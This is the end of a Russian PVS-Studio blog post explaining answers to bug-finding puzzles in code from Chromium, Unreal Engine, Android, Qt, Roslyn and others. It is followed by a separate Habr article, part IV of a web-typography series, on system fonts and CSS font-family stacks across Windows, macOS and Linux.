} else {
return time.month <= kDaysInMonth[time.month];
}
}
```
**Ответ**Пожалуй, самая «долгоиграющая» задачка из нашего набора. Эту ошибку в проекте Chromium мы предлагали найти посетителям нашего стенда в течение всего 2018 года. Также она была показана в ходе нескольких докладов.
```
if (time.month == 2 && IsLeapYear(time.year)) {
return time.month <= kDaysInMonth[time.month] + 1; // <= day
} else {
return time.month <= kDaysInMonth[time.month]; // <= day
}
```
В теле последнего блока *If-else* содержатся опечатки в возвращаемом значении. Вместо *time.day* программист дважды по ошибке указал *time.month*. Это привело к тому, что всегда будет возвращено значение *true*. Ошибка подробно разобрана в статье "[31 февраля](https://www.viva64.com/ru/b/0550/)". Отличный пример ошибки, которую непросто обнаружить на code review. Также это хорошая иллюстрация использования технологии анализа потока данных.
**Unreal Engine bug**
```
bool VertInfluencedByActiveBone(
FParticleEmitterInstance* Owner,
USkeletalMeshComponent* InSkelMeshComponent,
int32 InVertexIndex,
int32* OutBoneIndex = NULL);
void UParticleModuleLocationSkelVertSurface::Spawn(....)
{
....
int32 BoneIndex1, BoneIndex2, BoneIndex3;
BoneIndex1 = BoneIndex2 = BoneIndex3 = INDEX_NONE;
if(!VertInfluencedByActiveBone(
Owner, SourceComponent, VertIndex[0], &BoneIndex1) &&
!VertInfluencedByActiveBone(
Owner, SourceComponent, VertIndex[1], &BoneIndex2) &&
!VertInfluencedByActiveBone(
Owner, SourceComponent, VertIndex[2]) &BoneIndex3)
{
....
}
```
**Ответ**Первым делом следует обратить внимание на то, что последний аргумент функции *VertInfluencedByActiveBone()* имеет значение по умолчанию и может быть не указан. Теперь взгляните на блок *if*. Упрощенно его можно переписать так:
```
if (!foo(....) && !foo(....) && !foo(....) & arg)
```
Теперь видно, что допущена ошибка. Из-за опечатки третий вызов функции *VertInfluencedByActiveBone()* производится с тремя аргументами вместо четырех, а к результату этого вызова применяется оператор *&* (побитовое И, слева будет результат функции *VertInfluencedByActiveBone()* типа *bool*, справа – целочисленная переменная *BoneIndex3*). Код при этом компилируется. Исправленный вариант кода (добавлена запятая, закрывающая скобка перемещена в другое место):
```
if(!VertInfluencedByActiveBone(
Owner, SourceComponent, VertIndex[0], &BoneIndex1) &&
!VertInfluencedByActiveBone(
Owner, SourceComponent, VertIndex[1], &BoneIndex2) &&
!VertInfluencedByActiveBone(
Owner, SourceComponent, VertIndex[2], &BoneIndex3))
```
Ошибка, которая первоначально была описана в статье "[Долгожданная проверка Unreal Engine 4](https://www.viva64.com/ru/b/0249/)". В статье ошибка озаглавлена как «Самая красивая из найденных ошибок». Я согласен с данным утверждением.
**Android bugs**
```
void TagMonitor::parseTagsToMonitor(String8 tagNames) {
std::lock_guard lock(mMonitorMutex);
// Expand shorthands
if (ssize\_t idx = tagNames.find("3a") != -1) {
ssize\_t end = tagNames.find(",", idx);
char\* start = tagNames.lockBuffer(tagNames.size());
start[idx] = '\0';
....
}
....
}
```
**Ответ**В условии блока *if* перепутан приоритет операций. Код работает не так, как задумал программист:
```
if (ssize_t idx = (tagNames.find("3a") != -1))
```
Переменная *idx* будет получать значения 0 или 1, а выполнение условия будет зависеть от этого значения, что является ошибкой. Исправленный вариант кода:
```
ssize_t idx = tagNames.find("3a");
if (idx != -1)
```
Ошибка из статьи "[Проверили с помощью PVS-Studio исходные коды Android, или никто не идеален](https://www.viva64.com/ru/b/0579/)".
И еще одна задачка на поиск нетривиальной ошибки в Android:
```
typedef int32_t GGLfixed;
GGLfixed gglFastDivx(GGLfixed n, GGLfixed d)
{
if ((d>>24) && ((d>>24)+1)) {
n >>= 8;
d >>= 8;
}
return gglMulx(n, gglRecip(d));
}
```
**Ответ**Проблема в выражении *(d >> 24) + 1*.
Программист хотел проверить, что 8 старших бит переменной *d* содержат единицы, но при этом не все биты сразу. Другими словами, программист хотел проверить, что в старшем байте находится любое значение, отличное от 0x00 и 0xFF. Сначала он проверил, что старшие биты ненулевые, написав выражение (d>>24). Далее он сдвигает старшие восемь бит в младший байт. При этом он рассчитывает, что самый старший знаковый бит дублируется во всех остальных битах. То есть если переменная d равна 0b11111111'00000000'00000000'00000000, то после сдвига получится значение 0b11111111'11111111'11111111'11111111. Прибавив 1 к значению 0xFFFFFFFF типа *int*, программист планирует получить 0 (-1+1=0). Таким образом, выражением *((d>>24)+1)* он проверяет, что не все старшие восемь бит равны 1.
Однако при сдвиге старший знаковый бит вовсе не обязательно «размазывается». Стандарт говорит: «The value of E1 >> E2 is E1 right-shifted E2 bit positions. If E1 has an unsigned type or if E1 has a signed type and a non-negative value, the value of the result is the integral part of the quotient of E1/2^E2. *If E1 has a signed type and a negative value, the resulting value is implementation-defined*».
Таким образом, это пример поведения, зависящего от реализации (implementation-defined behavior). Как будет работать этот код — зависит от архитектуры микропроцессора и реализации компилятора. После сдвига в старших битах вполне могут оказаться нули, и тогда результат выражения *((d>>24)+1)* всегда будет отличен от 0, то есть будет всегда истинным значением.
Действительно, непростая задачка. Эта ошибка, как и предыдущая, была описана в статье "[Проверили с помощью PVS-Studio исходные коды Android, или никто не идеален](https://www.viva64.com/ru/b/0579/)".
2019
----
### С++
**«Во всём виноват GCC»**
```
int foo(const unsigned char *s)
{
int r = 0;
while(*s) {
r += ((r * 20891 + *s *200) | *s ^ 4 | *s ^ 3) ^ (r >> 1);
s++;
}
return r & 0x7fffffff;
}
```
Программист утверждает, что данный код работает с ошибкой по вине компилятора GCC 8. Так ли это?
**Ответ**Функция возвращает отрицательные значения. Причина в том, что компилятор не генерирует код для оператора побитового И (&). Ошибка связана с неопределённым поведением. Компилятор видит, что в переменной *r* считается некоторая сумма. При этом прибавляются только положительные числа. Переполнения переменной *r* произойти не должно, иначе это неопределённое поведение, которое компилятор никак не должен рассматривать и учитывать. Итак, компилятор считает, что раз значение в переменной *r* после окончания цикла не может быть отрицательным, то операция *r & 0x7fffffff* для сброса знакового бита является лишней и компилятор просто возвращает из функции значение переменной *r*.
Ошибка из статьи "[Релиз PVS-Studio 6.26](https://www.viva64.com/ru/b/0585/)".
**QT bug**
```
static inline const QMetaObjectPrivate *priv(const uint* data)
{ return reinterpret_cast(data); }
bool QMetaEnum::isFlag() const
{
const int offset = priv(mobj->d.data)->revision >= 8 ? 2 : 1;
return mobj && mobj->d.data[handle + offset] & EnumIsFlag;
}
```
**Ответ**С указателем *mobj* работают небезопасно. Сначала он разыменовывается, а далее проверяется. Классика.
Ошибка была описана в статье "[Третья проверка Qt 5 с помощью PVS-Studio](https://www.viva64.com/ru/b/0584/)".
### C#
**Infer.NET bug**
```
public static void
WriteAttribute(TextWriter writer,
string name,
object defaultValue,
object value,
Func converter = null)
{
if ( defaultValue == null && value == null
|| value.Equals(defaultValue))
{
return;
}
string stringValue = converter == null ? value.ToString() :
converter(value);
writer.Write($"{name}=\"{stringValue}\" ");
}
```
**Ответ**В выражении *value.Equals(defaultValue)* возможен доступ по нулевой ссылке *value*. Это произойдет при таких значениях переменных, когда *defaultValue != null*, а *value == null*.
Ошибка из статьи "[Какие ошибки прячутся в коде Infer.NET?](https://www.viva64.com/ru/b/0590/)"
**FastReport bug**
```
public class FastString
{
private const int initCapacity = 32;
private void Init(int iniCapacity)
{ sb = new StringBuilder(iniCapacity); .... }
public FastString() { Init(initCapacity); }
public FastString(int iniCapacity) { Init(initCapacity); }
public StringBuilder StringBuilder => sb;
}
....
Console.WriteLine(new FastString(256).StringBuilder.Capacity);
```
Что будет выведено на консоль? Что не так с классом *FastString*?
**Ответ**На консоль будет выведено 32. Причина — опечатка в имени переменной, передаваемой в метод *Init* в конструкторе:
```
public FastString(int iniCapacity){ Init(initCapacity); }
```
Параметр конструктора *iniCapacity* не будет использован. Вместо этого в метод *Init* передают константу *initCapacity*.
Ошибка была описана в статье "[Самые быстрые отчёты на диком западе. И горстка багов в придачу...](https://www.viva64.com/ru/b/0595/)"
**Roslyn bug**
```
private SyntaxNode GetNode(SyntaxNode root)
{
var current = root;
....
while (current.FullSpan.Contains(....))
{
....
var nodeOrToken = current.ChildThatContainsPosition(....);
....
current = nodeOrToken.AsNode();
}
....
}
public SyntaxNode AsNode()
{
if (_token != null)
{
return null;
}
return _nodeOrParent;
}
```
**Ответ**Возможен доступ по нулевой ссылке *current* в выражении *current.FullSpan.Contains(....)*. Переменная *current* может получить нулевое значение как результат выполнения метода *nodeOrToken.AsNode()*.
Ошибка из статьи "[Проверяем исходный код Roslyn](https://www.viva64.com/ru/b/0622/)".
**Unity bug**
```
....
staticFields = packedSnapshot.typeDescriptions
.Where(t =>
t.staticFieldBytes != null &
t.staticFieldBytes.Length > 0)
.Select(t => UnpackStaticFields(t))
.ToArray()
....
```
**Ответ**Допущена опечатка: вместо оператора *&&* использован оператор *&*. Это приводит к тому, что проверка *t.staticFieldBytes.Length > 0* выполняется всегда, даже в случае равенства *null* переменной *t.staticFieldBytes*, что, в свою очередь, приведет к доступу по нулевой ссылке.
Впервые эта ошибка была показана в статье "[Анализируем ошибки в открытых компонентах Unity3D](https://www.viva64.com/ru/b/0423/)".
### Java
**IntelliJ IDEA bug**
```
private static boolean checkSentenceCapitalization(@NotNull String value) {
List words = StringUtil.split(value, " ");
....
int capitalized = 1;
....
return capitalized / words.size() < 0.2; // allow reasonable amount of
// capitalized words
}
```
Предлагается определить, почему будет неправильно подсчитано число слов с заглавными буквами.
**Ответ**Функция должна возвращать истину, если менее 20% слов начинаются с заглавной буквы. Но проверка не работает, так как происходит целочисленное деление, результатом которого будут только значения 0 или 1. Функция вернёт ложное значение, только если все слова будут начинаться с заглавной буквы. В остальных случаях при делении будет получаться 0, а функция будет возвращать истину.
Ошибка из статьи "[PVS-Studio для Java](https://www.viva64.com/ru/b/0603/)".
**SpotBugs bug**
```
public static String getXMLType(@WillNotClose InputStream in) throws IOException
{
....
String s;
int count = 0;
while (count < 4) {
s = r.readLine();
if (s == null) {
break;
}
Matcher m = tag.matcher(s);
if (m.find()) {
return m.group(1);
}
}
throw new IOException("Didn't find xml tag");
....
}
```
Предлагается определить, в чём заключается ошибка поиска xml-тега.
**Ответ**Условие *count < 4* будет выполнено всегда, так как переменную *count* не инкрементируют внутри цикла. Предполагалось, что поиск xml-тега должен осуществляться только в первых четырёх строках файла, но из-за ошибки будет прочитан весь файл.
Эта ошибка, как и предыдущая, была описана в статье "[PVS-Studio для Java](https://www.viva64.com/ru/b/0603/)".
На этом – всё. Ждём вас на следующих конференциях. Ищите стенд с единорогом. Выдадим новые интересные задачки и, конечно же, задарим призы. До встречи!
[](https://habr.com/en/company/pvs-studio/blog/476268/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Khrenov. [Solutions to Bug-Finding Challenges Offered by the PVS-Studio Team at Conferences in 2018-2019](https://habr.com/en/company/pvs-studio/blog/476268/). | https://habr.com/ru/post/476272/ | null | ru | null |
# Веб-типографика сегодня. Часть IV
[Часть I](http://habrahabr.ru/blog/typography/42685.html) — [Часть II](http://habrahabr.ru/blog/typography/42697.html) — [Часть III](http://habrahabr.ru/blog/typography/42716.html) — [Часть IV](http://habrahabr.ru/blog/typography/42837.html) — [Часть V](http://habrahabr.ru/blog/typography/47347.html) — Часть VI
Часть IV
========
Итак, настала пора выяснить, какие шрифты и с какой долей вероятности могут оказаться установленными в тех или иных операционных системах либо в результате каких-то особых ситуаций (например, при установке пакетов Microsoft Office, Adobe Creative Suite или CorelDRAW! Suite), либо в «девственно чистых» ОС (что, несомненно, наиболее приемлемый вариант). А также узнать, какие из этих шрифтов пригодны для использования и в каких конкретно случаях.
Для начала стоит вспомнить те шрифты, которые использовались и используются в различных ОС в качестве средств для оформления графических интерфейсов, а также применяются для различных служебных приложений. Мы пока не станем рассматривать те шрифты, которые также входят в стандартный набор ОС, и непосредственно предназначены для работы с текстом и вебом (*Arial*, *Verdana* и т.п.). О них речь пойдёт позже.
 В семействе Windows можно обнаружить следующие системные шрифты: *Fixedsys*, *MS Gothic*, *MS Serif*, *MS Sans Serif*, *System*, *Terminal*. Все эти шрифты присутствуют во всех версиях MS Windows, поэтому вполне могли бы использоваться и в качестве основы для оформления текстовых блоков. Правда, только лишь в том случае, если выключено экранное сглаживание, а размер шрифтов указывается некими фиксированными величинами (обычно 10 или 12 пикселей), поскольку большинство подобных шрифтов — растровые, т.е. корректно отображаются в том размере, в каком нарисованы изначально. Мне приходилось не раз наблюдать использование гарнитуры *MS Sans Serif* лет 8-10 назад. Но на сегодняшний день широкого применения в веб-разработках эти шрифты не находят. Забегая вперёд, отмечу, что в Windows Vista используется масштабируемый системный шрифт *Segoe UI*, о котором мы поговорим чуть позже.
 В MacOS различных версий, помимо уже названной *Lucida Grande*, использовались или используются следующие системные гарнитуры: *Apple Chancery*, *Capitals*, *Charcoal*, *Chicago*, *Courier*, *Gadget*, *Geneva*, *Helvetica*, *Hoefler Text*, *Monaco*, *New York*, *Palatino*, *Sand*, *Skia*, *Techno*, *Textile*, *Times*, *VT100*. И здесь ситуация несколько сложнее. Некоторые из гарнитур использовались в ранних версих MacOS и исчезли с появлением System 7, другие же были заменены на новые в результате перехода на платформу OS X (как *Charcoal* пришёл на смену *Chicago*). Поэтому одновременно все эти шрифты обнаружить на «маке» вряд ли удастся. Да, собственно, и незачем. Наибольший интерес для нас представляют гарнитуры, вошедшие в состав MacOS X, поскольку она почти целиком и полностью вытеснила все остальные версии MacOS на компьютерах Apple. Из более-менее употребимых «маковских шрифтов» я бы отметил *Geneva*, *Helvetica*, *Courier* и *Times*. До сих пор можно встретить их включение в перечисление шрифтов:
`font-family: Arial, Verdana, Geneva, Helvetica, sans-serif;
font-family: Georgia, Times New Roman, Times, serif;
font-family: Courier New, Courier, monospaced;`
Несколько раз довелось также встретить осторожное использование *Charcoal*, *Palatino* и *Techno*, но это, скорее, исключение: доля «маков» в вебе относительно невелика, хотя достаточно приблизительно можно заменить эти шрифты подобными в других ОС (например, *Palatino* можно с сильной натяжкой заменить на *Times New Roman*).
 Для систем семейства Linux список шрифтов, входящих в стандартную поставку, может быть ещё больше. В каких-то сборках Linux могут присутствовать одни гарнитуры, в каких-то — другие. Но есть более-менее общий набор, так называемый X11 core fonts set: *Helvetica*, *Courier*, *Fixed*, *Terminal*, *New C.Schlbk*, *Lucida*, *Lucidabright*, *Lucidatty*, *Charter*, *Utopia*, *Times*, *Palatino*, *Clean*, *Avantgarde*, *Bookman*, *Zapf Chancery*. Очень также популярен в среде Linux системный шрифт *DejaVu*, имеющий начертания *Sans*, *Serif* и *Sans Mono* и предлагающий весьма широкий диапазон знаков Unicode. Прямых аналогов у DejaVu в других ОС нет, но с определёнными допущениями можно посчитать *DejaVu Sans* аналогом *Verdana*, *DejaVu Serif* — аналогом *Georgia*, *DejaVu Sans Mono* — аналогом *Andale Mono*.
Итак, как видно, у MacOS X и Linux многие шрифты совпадают: *Helvetica*, *Courier*, *Times*, *Palatino*. Немного может различаться характер рисунка данных шрифтов, но в целом они довольно схожи.
Это немаловажно, поскольку это позволяет нам регулировать отображение шрифтов в том случае, если в системе не обнаруживается той специфической гарнитуры, которую мы указали в нашем стиле. Здесь очень актуален ***фактор предсказуемости***. Рассмотрим следующую ситуацию:
`font-family: Verdana, sans-serif;
font-family: Georgia, serif;
font-family: Courier New, monospaced;`
В Windows всё отобразится абсолютно верно, поскольку будут найдены и использованы указанные в стиле шрифты. А вот в других ОС в том случае, если этих шрифтов нет, будут использованы те гарнитуры, которые прописаны по умолчанию в настройках браузера (или непосредственно в настройках ОС) как гротески (sans-serif), антиквы (serif) и моноширинные (monospaced). И здесь нет никакой гарантии, что в качестве дефолтных шрифтов не используются какие-то экзотические варианты. Хотя, конечно, такое маловероятно, но может случиться так, что используемая по умолчанию гротескная гарнитура имеет более жирные штрихи и крупное очко, из-за чего вполне может «рассыпаться» дизайн сайта.
Этой ситуации вполне можно избежать, поместив **до** указания обобщающих классов (serif, sans-serif и т.п.) конкретные шрифты, рисунок которых мы **заранее** можем прогнозировать (а значит и протестировать). В этом случае как раз и оказываются полезными те шрифты, которые есть и в Linux, и в MacOS. Но их нет в Windows. Поэтому следует определить некое негласное соответствие между шрифтами операционных систем. И тогда наша конструкция будет выглядеть следующим образом:
`font-family: (шрифт без засечек), Arial, Helvetica, sans-serif;
font-family: (шрифт с засечками), "Times New Roman", Times, serif;
font-family: (моноширинный шрифт), "Courier New", Courier, monospaced;`
Знакомо, не правда ли? Действительно, на большинстве сайтов можно встретить подобные конструкции, а веб-девелоперы часто копируют эти строки, ничуть не задумываясь об их предназначении. Случаются даже курьёзы, когда по каким-то причинам меняется порядок следования шрифтов, вследствие чего могут случаться непредсказуемые ситуации. Например, если перепутаны местами *Arial* и *Helvetica*, то первым в Windows будет использоваться *Helvetica*, если она в системе установлена. Ничего страшного, скажете вы? В принципе, так оно и есть. Но где гарантия, что в систему не попал какой-то неудачный, криво нарисованный или попросту не до конца русифицированный вариант *Helvetica*?
Дабы избежать каких-либо нежелательных последствий я бы рекомендовал **во всех** стилях и **всегда** использовать именно эти три конструкции и именно в приведённом порядке, поскольку все шрифты можно разбить условно как раз на эти три основные группы. Класс декоративных шрифтов (fantasy) мы не будем рассматривать, поскольку в современной вёрстке он не применяется из-за отсутствия общеупотребимых для всех ОС шрифтов декоративного назначения, а также из-за сложности употребления таких шрифтов: как правило, для этих целей используют изображения или Flash.
Итак, используя приведённые конструкции, мы всегда будем знать то как будет выглядеть страница, если в системе не окажется нужного шрифта.
Но ведь хочется большего, не так ли?
Мы уже выяснили, что стандартные *Arial* и *Times New Roman* — далеко не идеальны, и сайты с этими шрифтами сегодня выглядят весьма старомодно и довольно коряво.
В качестве примера стоит привести какой-нибудь параграф [Ко/водства Артемия Лебедева](http://www.artlebedev.ru/kovodstvo/sections/144/). Сам Артемий нередко выступал противником явного указания шрифтов в HTML, поэтому зачастую текст в Ко/водстве отображается тем образом, как указано в броузере по умолчанию (в файле /kovodstvo/main.css не встречается параметр font-family для определения базового текста). В данном случае пользователь «мака» увидит следующую картинку с участием шрифта *Times* (этот шрифт указан по умолчанию в качестве класса serif в MacOS):

А вот так этот же текст отобразится в Windows с использованием *Times New Roman* (шрифт по умолчанию для serif):

— Нет же почти никакой раницы! Читать *Times New Roman* абсолютно не хуже, чем Times! — воскликнут многие. И ошибутся.
Действительно, в средних кеглях (12-15pt) *Times New Roman* оказывается вполне сносным для чтения, хотя его рисунок заметно меняется от кегля (в одних случаях шрифт рендерится округлым, в других — вытянутым и т.п.). Но вот зато в мелком или, напротив, крупном размере шрифт ужасен:

Посмотрите каким трудночитаемым становится *Times New Roman* при уменьшении размера базового шрифта до 10 пунктов. Присмотритесь к жирному начертанию: кернинговые пары абсолютно не отстроены (в слове Times буква **e** сильно отстоит от **m** — сравните с такой же надписью, выполненной *Times*(Mac)), засечки у **Э** и **т** значительно меньше, чем требуется, а рисунок полукружий у **ф** попросту безобразный. Все эти нюансы в итоге сказываются на утомляемости, ведь читать неравномерный шрифт с некачественно выполненными штрихами гораздо труднее, чем ровную и до мельчайших деталей проработанную гарнитуру. Стоит ли говорить, что глубокоуважаемый Артемий Андреевич не очень хорошо позаботился о читателях своих бесценных параграфов? А ведь можно было бы избежать этого, используя, к примеру, хорошо себя зарекомендовавшую *Georgia*. Впрочем, оставим это на совести противников явного указания шрифтов. В задачи данного обзора как раз входит выяснение способов унификации и максимального облегчения чтения текста из любых броузеров на любых операционных системах.
Очевидно, что по этой причине Microsoft в 1996 году подготовила и выпустила набор [*Core fonts for Web*](http://www.microsoft.com/typography/fonts/default.aspx). Он вошёл в состав пакета MS Office, а также стал включаться в стандартную поставку операционных систем начиная с Windows 98.
Этот набор включает следующие гарнитуры: *Andale Mono* (моноширинный), *Arial* (гротеск), *Comic Sans MS* (декоративный гротеск), *Courier New* (моноширинный), *Georgia* (антиква), *Impact* (сверхжирный компактный гротеск), *Times New Roman* (антиква), *Trebuchet MS* (гротеск), *Tahoma* (гротеск), *Verdana* (гротеск), *Webdings* (символьный).
Шрифт *Webdings* служил дополнением к уже имеющемуся *Wingdings*, предлагая различные буллеты и иконки, предназначеные именно для веб-индустрии, но широкого распространения так и не получил. Искренне жаль, потому как шрифт действительно предлагает массу полезных «мулечек» для веб-девелоперов:

Как видно, в наборе [*Core fonts for Web*](http://www.microsoft.com/typography/fonts/default.aspx) предлагается сразу несколько вариантов гротескных шрифтов (аж четыре штуки, не считая *Impact* и *Comic Sans*) по сравнению с моноширинными и антиквенными (их по два). Это не случайно, поскольку рубленые шрифты (гротески) гораздо больше годятся для чтения с экрана (особенно в мелких кеглях, вспомним *Lucida Grande* и *Myriad Pro*). И как мы увидим дальше, попытки Microsoft найти «идеальный» гротеск отнюдь не закончились.
О некоторых шрифтах из данного набора (*Arial*, *Courier New*, *Georgia*, *Times New Roman*, *Tahoma*, *Verdana*) мы уже узнали достаточно, поэтому рассмотрим оставшиеся.
*Andale Mono* не получает широкого применения, поскольку не является пропорциональным и плохо годится для повседневного чтения текста с экрана. Зато данный шрифт стал популярен в среде программистов и веб-девелоперов, так как является неплохой заменой устаревшему и весьма неудобному *Courier New*. В сфере веб-дизайна *Andale Mono* можно применять, например, для каких-то подзаголовков. Но наиболее оптимальная среда для его использования — статьи по программированию с использованием большого количества примеров с каким-либо кодом. `Попробуйте указать в качестве моноширинного шрифта в установках броузера Andale Mono, если он у вас есть и почитайте этот фрагмент текста, чтобы убедиться, что шрифт не очень-то годится для этого.`
*Comic Sans MS* и *Impact* — шрифты сугубо декоративные, и потому не годятся для широкого употребления в стилях для основного текста. Хотя мне не раз доводилось видеть страницы, созданные с использованием одного лишь *Comic Sans MS*. Ничего хорошего из этого не получалось, поскольку даный шрифт выглядит несерьёзным и порой даже нелепым. И если в заголовках каких-либо сайтов детской или юмористической направленности он смотрится ещё более-менее, то как шрифт для чтения на корпоративных сайтах или в новостных порталах не годится вовсе, да и глаза утомляет быстро.

*Impact* — в целом правильная задумка. Только реализованная не самым лучшим образом. По своему рисунку этот шрифт представляет из себя компактный и сверхжирный гротеск, чем-то отдалённо напоминающий начертание *Helvetica Compressed*, хотя наиболее близкий аналог — гарнитура [*Compacta*](http://www.linotype.com/248119/compactabymonotype-family.html) (Monotype, ITC), даже название похожее. Но вот если коммерческий *Compacta* (кириллический аналог [Compact](http://paratype.ru/pstore/default.asp?search=Compact&fcode=PT_CMP) у Paratype) при определённой адаптации для экранного использования вполне сгодился бы там, где требуется качественный сжатый шрифт для заголовков, то бесплатный *Impact* оказывается крайне ограниченным в использовании. Всё дело в том, что у него есть лишь одно начертание — сверхжирное (black), и реализовано оно чересчур «жирно». На крупных кеглях (выше 18pt) он смотрится ещё более-менее (хотя и давит своей «тяжестью»), но для заголовков меньшего размера абсолютно непригоден: посетитель сайта будет постоянно испытывать дискомфорт от чересчур мрачного и тяжеловесного рисунка шрифта. Пока что мне встретился лишь один пример активного использования этого шрифта. На автомобильном портале [*Drive.ru*](http://www.drive.ru) можно увидеть, как *Impact* используется в качестве заголовков и анонсов статей. Правда, оценить это смогут лишь пользователи Windows (и, возможно, Linux), поскольку в MacOS X вместо него используется *Helvetica CY* (это реализуется с помощью отдельных для каждой ОС файлов CSS).
Для всех без исключения систем сначала прописывается стиль следующим образом:
`.title { font-family: Impact, Arial, Verdana, Tahoma, Geneva, sans-serif; font-size: 22px; color: #900; line-height: 18px; letter-spacing: -1px; }`
А уже потом в отдельных .css-файлах (impact.css и helvetica.css) оговаривается, оставлять ли для класса .title шрифт *Impact* или заменить его на *Helvetica CY*.
Кстати, заметьте, насколько нелогично идёт чередование шрифтов в указании: наиболее распространённый *Arial* предшествует *Verdana* и *Tahoma*, которые практически всегда если и есть в системе, то лишь вместе. То есть *Tahoma* не будет использован никогда, да и у *Verdana* нет ни малейшего шанса: всех со стопроцентной вероятностью обставит *Arial*. Тогда зачем было городить такую нелепую конструкцию? Полагаю, это издержки бездумного «копипейста», когда в результате многочисленых манипуляций с таблицами стилей эти строчки приобрели такой запутанный вид. Очевидно, разработчики просто копировали их с других сайтов, добавляли новые параметры, и в итоге конструкция обогатилась столь бессмысленными элементами.
Шрифт *Helvetica CY* — какая-то особая разновидность ужатой гельветики, которая доселе мне не встречалась и нигде не документирована, но на поверку оказалась неплохим вариантом для заголовков, если требуется жирный и сжатый шрифт. Правда, в данном случае обнаруживается проблема с прилипанием букв, т.к. в стиле указан отрицательный трекинг. Программистам сайта следовало бы об этом позаботиться и вернуть трекинг к нулевому значению в файле helvetica.css, чтобы получилось следующее:
`.title { font-family: Helvetica CY, Tahoma, Arial, Geneva, sans-serif; font-weight: bold !important; letter-spacing: 0px; }`
Иначе, например, «Californication» в заголовке читается как «Califomication». Впрочем, это уже, скорее, не особо важные придирки:

Но, несмотря на это упущение разработчиков сайта, целесообразность использования шрифта *Helvetica CY* на MacOS оказалась оправданной. Потому как я принудительно установил отображение заголовков с помощью кириллической версии *Impact* (пришлось найти отдельно, поскольку у меня стояла некириллизованная версия шрифта), и все без исключения «маковские» броузеры нарисовали вот такую неприглядную картинку:

У пользователей Windows даный шрифт должен отображаться гораздо лучше. Впрочем, использовать его, в любом случае, следует с большой осторожностью.
И, наконец, «любимец публики» — *Trebuchet MS*.
Популярность этот шрифт приобрёл в конце 90-х, правда лишь в англоязычной среде, поскольку долгое время не был русифицирован. Лишь с выходом Windows XP и пакета MS Office 2007 появилась и версия с кириллицей. Чем не приминули воспользоваться давным давно с завистью поглядывающие на западных собратьев отечественные дизайнеры.
Действительно, шрифт *Trebuchet MS*, разработанный в 1996 году майкрософтовским дизайнером Vincent Connare, получился неплохой альтернативой другим гротесковым шрифтам Microsoft. Он одинаково хорошо смотрится как в заголовках, набарнных крупными кеглями, так и в качестве основного текста (вплоть до самого мелкого экранного кегля — *bourgeois*, 9pt). Шрифт хорошо читаем благодаря округлости очка в символах, относительно лёгкой насыщенности рисунка и характерным узнаваемым элементам (наклонные боковые скаты у M, низкая перекладина у A, своеобразные «хвостики» у Q и g, круглые точки у i и j и т.п.):

Текст, набранный с помощью *Trebuchet MS* смотрится более легковесно и стильно, нежели с любым другим гротексом из наборе *Core fonts for Web*. Особенно с более крупными отступами между блоками и от краёв страницы (20 и более пикселей), и с увеличенным интерлиньяжом (+4-8 пунктов взамен стандартным +2 пункта к кеглю шрифта). Как говорят дизайнеры, этому шрифту «нужно дышать». Задавленный стандартными параметрами, он теряет свою привлекательность и уже не выглядит столь аристократично. Используя *Trebuchet MS* в своих макетах, помните об этом, иначе может получиться не сильно лучше, чем в случае с *Verdana*:

Давайте вернёмся к нашим фрагментам сайта Apple и Ко/водства и посмотрим, как бы они смотрелись, если бы шрифт *Lucida Grande* был заменён на *Trebuchet MS*:


А теперь поставим оба шрифта вместе для наглядности:

В общем, весьма неплохо. Недаром *Trebuchet MS* пользуется такой популярностью у дизайнеров наряду с удачной гарнитурой *Georgia*. Хотя лично я бы в большинстве случаев отдал предпочтение *Myriad Pro*, будь он столь же распространённым, а сам *Trebuchet MS* использовал бы в цитатных блоках и в некоторых подзаголовках.
Набор *Core fonts for Web* теперь включается не только в состав Windows, но был также лицензирован Apple, и теперь является компонентом MacOS X Leopard. Также все эти шрифты входят в комплект поставки наиболее распространённых сборок Linux с графическими облочками. Поэтому беспокойства по поводу распространённости этих шрифтов испытывать не стоит. *Georgia*, *Tahoma*, *Verdana* найдутся практически у всех (почти «вымерший» подвид пользователей старых MacOS и Windows 95 не в счёт), а русифицированный *Trebuchet MS* обнаружится примерно в 8 из 10 случаев.
Следует также упомянуть, что в Windows могут находиться и другие шрифты, включаемые в поставку либо непосредственно с Windows, либо при установке более свежей версии Internet Explorer, либо в составе пакета Microsoft Office (эти же шрифты попадают с Office и в MacOS). Вы можете поискать среди своих шрифтов вот такие: *Algerian, Antique Olive, Arial Black, Arial Narrow, Arial Rounded MT, Book Antiqua, Bookman Old Style, Braggadocio, Brush Script MT, Century Schoolbook, Century Gothic, CG Times, Cursive Elegant, Garamond, Gill Sans, Haettenschweiler, Matura MT Script, Modern, Old English, Univers, Zapf Chance*. Правда, не все из них русифицированы. К тому же их распространённость непредсказуема, поэтому следует с большой осторожностью использовать их в вёрстке.
Из приведённого списка я рекомендовал бы использовать лишь *Arial Black* (сверхжирный вариант *Arial*) и *Arial Narrow* (узкая разновидность *Arial*). Их иногда можно встретить в использовании на российских сайтах. Хотя опять же, жирные и узкие гарнитуры весьма коварны, так как на разных компьютерах и в разных броузерах почему-то рендерятся немного по-разному, что раздражает дизайнеров и заставляет их искать иные пути, прибегать к использованию изображений или Flash. Также можно попробовать использовать *Book Antiqua*, *Bookman Old Style* и *Century Schoolbook* — три достаточно неплохих антиквы, которые на других системах можно заменить на *Palatino*:
`font-family: "Book Antiqua", Palatino, "Times New Roman", Times, serif;`
Не стоит забывать, что названия шрифтов, содержащих пробелы, следует включать в кавычки.
Так, к примеру, будет выглядеть *Book Antiqua*. Сравните с *Times New Roman*:

К этим трём шрифтам мы ещё вернёмся позже. А в следующей части рассмотрим новые шрифты из стандартных поставок в ОС, а также выберем наиболее интересные варианты использования всех шрифтов для различных случаев.
*Продолжение следует...*
> **Послесловия...**
>
> PS. Я умышленно не привожу примеров с отключенным сглаживанием. Уверяю, что тогда в большинстве случаев победили бы Verdana и Tahoma, но лично я убеждён, что несглаживаемый текст — это пережиток прошлого, и от него надо отказаться, как в своё время мы отказались от палитры в 256 цветов, от меню выбора кодировки (помните эти жуткие WIN/KOI/DOS/LAT?), от тэга `и от попыток втиснуть сайт в разрешение 640х480. Наступает или уже наступила эпоха качественных средств отображения, которые способы поберечь ваше зрение от чудовищно режущих глаз пиксельных букв. Уверен, что есть немало с этим несогласных, но в данном случае я останусь в своём мнении непоколебим: после того как я включил сглаживание, моя личная утомляемость снизилась в разы.
>
>
>
